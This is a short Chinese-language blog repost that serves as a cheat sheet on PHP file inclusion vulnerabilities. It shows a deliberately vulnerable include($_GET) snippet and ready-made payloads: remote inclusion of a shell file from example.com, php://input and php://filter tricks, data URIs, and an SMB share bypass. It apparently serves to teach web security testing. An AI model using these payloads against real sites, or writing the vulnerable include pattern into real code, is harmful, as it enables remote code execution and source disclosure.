文件包含漏洞

时间:2021-05-04 13:53:53   收藏:0   阅读:18

文件包含

# 示例源码
<?php include($_GET[‘pages‘]); ?>

# 相关函数
include()
require()
include_once()
require_once()

# 利用
    远程代码执行
        /?file=[http|https|ftp]://example.com/shell.txt
        需要 allow_url_fopen=On
    利用php流input代码执行
        /?file=php://input
    利用php流filter读取任意文件
        /?file=php://filter/convert.base64-encode/resource=index.php
    利用data URIs
        /?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
    利用XSS执行任意代码
        /?file=http://127.0.0.1/path/xss.php?xss=phpcode
        需要 allow_url_fopen=On

# 利用SMB绕过 allow_url_include ,allow_url_fopen
# 配置
smbserver.py -debug -smb2support share ./
#访问
/?page=\\192.168.0.101\share\phpinfo.php

原文:https://www.cnblogs.com/shivers0x72/p/14729010.html

评论(0
© 2014 bubuko.com 版权所有 - 联系我们:wmxa8@hotmail.com
打开技术之扣,分享程序人生!